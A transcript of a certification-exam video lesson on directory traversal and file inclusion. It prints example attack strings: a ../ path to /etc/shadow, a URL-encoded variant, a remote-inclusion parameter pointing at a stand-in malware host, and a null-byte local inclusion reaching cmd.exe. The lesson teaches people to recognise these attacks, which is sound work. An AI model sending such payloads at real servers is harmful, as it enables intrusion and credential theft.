Jason: Directory Traversal. 2 2
In this lesson we're going to talk about 3 3
directory traversal attacks 4 4
and the vulnerabilities associated with them. 5 5
Now, when we talk about a directory traversal attack 6 6
this is a type of injection attack. 7 7
An injection attacks occur when the attacker 8 8
inserts malicious code through an application interface. 9 9
Now the one we're going to talk about specifically here 10 10
and focus on, is directory transversal. 11 11
Now a directory traversal is a type of injection attack 12 12
and any kind of injection attack really focuses 13 13
on the ability for the attacker to insert malicious code 14 14
through an application interface. 15 15
Now, when we talk about a directory traversal, 16 16
we're talking about an application attack 17 17
that allows access to commands and files, 18 18
and directories, that may or may not be connected 19 19
to the web document route directory. 20 20
Now, if you're running a web server 21 21
you're running this on Windows or Mac, 22 22
or Linux, or Unix, or some kind of operating system, 23 23
and there's going to be a folder in there 24 24
that is called the web document route. 25 25
Essentially, that folder is where, 26 26
when you go to diontraining.com, 27 27
it goes to find those files. 28 28
Now that isn't the root of your hard drive, 29 29
it's just the root of that directory, 30 30
but there's many folders above that. 31 31
And so if I went to something like 32 32
diontraining.com/../../../../etc/shadow, 33 33
that would try to go and find that shadow file. 34 34
Now, that shadow file isn't inside the web root though. 35 35
Instead it's located on some other file 36 36
off of the directory. 37 37
And so what we're doing here with that ../../../../ 38 38
is doing a directory traversal. 39 39
Now, let me show you what this looks like graphically. 40 40
Essentially we have something that looks like this. 41 41
The root is the actual root of your hard drive. 42 42
So my server happens to be using Linux, 43 43
and because we're using Linux, 44 44
we're going to be using that slash. 45 45
Now, that's the root. 46 46
Underneath that, I have two folders. 47 47
I have /etc and /home. 48 48
Now, if I go underneath the home directory, 49 49
I have /programs, 50 50
and if I go under that, I have /www_root. 51 51
And under that, that's where my webpages are stored. 52 52
So the www_route, that is my web route directory 53 53
for those documents. 54 54
So when somebody tries to go to 55 55
diontraing.com/../../../../etc/shadow, 56 56
what are they trying to do? 57 57
Well, if we start with diontraining.com, 58 58
that's going to load index.html or index.php from the webpages. 59 59
That's that blue thing in the bottom right corner. 60 60
Now, when I go ../, I go up into the folder above it 61 61
and then ../ goes again up into the folder above it. 62 62
../ goes up into the folder above it. 63 63
../ goes up into the root directory now, 64 64
and then I go /etc down into the etc folder, 65 65
and then /shadow, 66 66
I'm going to try to read that shadow file. 67 67
That's what they're doing here. 68 68
That's what a directory traversal is. 69 69
And so if we can read those files 70 70
or execute those files by doing this, 71 71
we can do that from a URL by typing into a browser 72 72
and remotely attack that system. 73 73
So we don't want this to happen, right? 74 74
Now when we look at these, 75 75
you're going to see a lot of these ../ or ..\. 76 76
Now in this case, it's ../ 77 77
because Unix systems, like Linux and Mac, they use ../. 78 78
If you're using a window system, 79 79
so you're using IIS as your web server, 80 80
it's going to use ..\ 81 81
because on a Windows system you have your C drive C:\ 82 82
and so you're going to be using ..\, 83 83
but a lot of times Windows is configured 84 84
to accept either way, 85 85
the forward slash or the backslash, and it will accept both. 86 86
Now, what we want to do with these directory transverses 87 87
is prevent them from happening. 88 88
So how can we do that? 89 89
Now, the problem with these directory traversals, 90 90
like I said, is that they can be used to access 91 91
any file on a system if they have the right permissions. 92 92
So if I configure my server correctly, 93 93
you're not going to have access 94 94
as a web user to read my shadow file or my password file, 95 95
but if I didn't have it correctly, 96 96
you could access those 97 97
and read those right from your browser. 98 98
And so we want to be able to prevent this from happening. 99 99
Now, one thing I want to warn you about, 100 100
you're not always just going to see the ../, 101 101
now that is the most common way to see it, 102 102
especially on the exam, 103 103
to identify a directory traversal. 104 104
But remember we talked about encoding 105 105
all the way back earlier in the course? 106 106
Well, people can use encoding against you as well. 107 107
Attackers can use encoding to hide 108 108
their directory traversal attempts. 109 109
So instead of using ../, 110 110
they might use %2e%2e%2f, and that would be ../. 111 111
So keep that in mind as well. 112 112
Now, another vulnerability we have to talk about 113 113
when we talk about directory traversals is file inclusion. 114 114
File inclusion is when a web application vulnerability 115 115
is being exploited, 116 116
that allows an attacker to either download a file 117 117
from an arbitrary location on the host file system, 118 118
by using that directory traversal, 119 119
or upload an executable or script file to open a back door. 120 120
Now, this'll come in two different flavors. 121 121
We have remote file inclusions and local file inclusions. 122 122
When we talk about a remote file inclusion, 123 123
this occurs when an attacker tries to execute a script 124 124
to inject a remote file into the web app or the website. 125 125
So if I use something like 126 126
https://diontraining.com/login.php. 127 127
That part is fine. 128 128
Then I have a ?user= 129 129
this is passing the parameter 130 130
of which user I want to log in as. 131 131
Now, what user am I going to log into? 132 132
Am I going to log in as Jason? 133 133
No, we're going to log in as http//malware.bad/malicious.php? 134 134
So what we're doing is we're passing this parameter 135 135
and when our system executes 136 136
and tries to find that parameter 137 137
to load it into our database, 138 138
instead we're going to load in this malicious script. 139 139
So this is the idea of a remote file inclusion. 140 140
We're including this remote file malicious.php 141 141
from this other website 142 142
into my web server using this type of command. 143 143
Now, another one you can use is what's called 144 144
Local File Inclusion. 145 145
Now, local file inclusions are where an attacker 146 146
tries to add a file to the web app 147 147
or website that already exists on the hosting server. 148 148
So let's say on my website 149 149
we might allow you to upload something like a picture 150 150
or a PDF, or other files, as part of our community forum. 151 151
Well, then you could reference that file 152 152
because it's already sitting on my server. 153 153
So in this case, you would do something like, 154 154
https://diontraining.com/login.php?user= 155 155
and now here you see this directory traversal 156 156
../../windows/system32/cmd.exe%00. 157 157
Now, what are they trying to do? 158 158
This is assuming that I have a window server 159 159
and they're trying to go up two directories 160 160
into the Windows directory, 161 161
down into system32 and run the command shell. 162 162
This way, they can run any program they want 163 163
that executes in DOS or Windows. 164 164
Now what is that %00 at the end? 165 165
Well, that's a common tactic that's used 166 166
to insert a null character at the end of your URL. 167 167
That %00 in URL encoding is essentially a null character. 168 168
And so this is being used to request to bypass 169 169
the security mechanisms that would normally add a .php 170 170
to the end of the request 171 171
and instead allow us to use that .exe extension. 172 172
Now for the exam, let me give you a couple of quick tips. 173 173
Anytime you see something with ../, 174 174
I want you to think directory traversal. 175 175
This is what the answer is most likely going to be. 176 176
Now, the reason for this is because on the exam, 177 177
they're going to bring up the idea 178 178
of directory traversal a lot. 179 179
Now you might also get some questions 180 180
about local file inclusions, and if that's the case, 181 181
that is a type of directory traversal. 182 182
Now, if you get a question like this on the exam, 183 183
you're not going to have answer choices A, B, C and D, 184 184
where A is directory traversal 185 185
and B is local file inclusion. 186 186
They won't do that to you. 187 187
Instead, you're going to have on this question, 188 188
directory traversal. 189 189
On another one, 190 190
you might have local file inclusion. 191 191
So if you see ../, it's one of those two things. 192 192
Now, when you're on the exam, 193 193
you're going to be asked to look at logs 194 194
and things like proxy servers. 195 195
And as you're looking through the proxy server logs, 196 196
you're going to see these different URLs inside those logs. 197 197
And as you look at them, anytime you see that../, 198 198
I want you to remember that is directory traversal 199 199
and that'll be the right answer for you on the exam.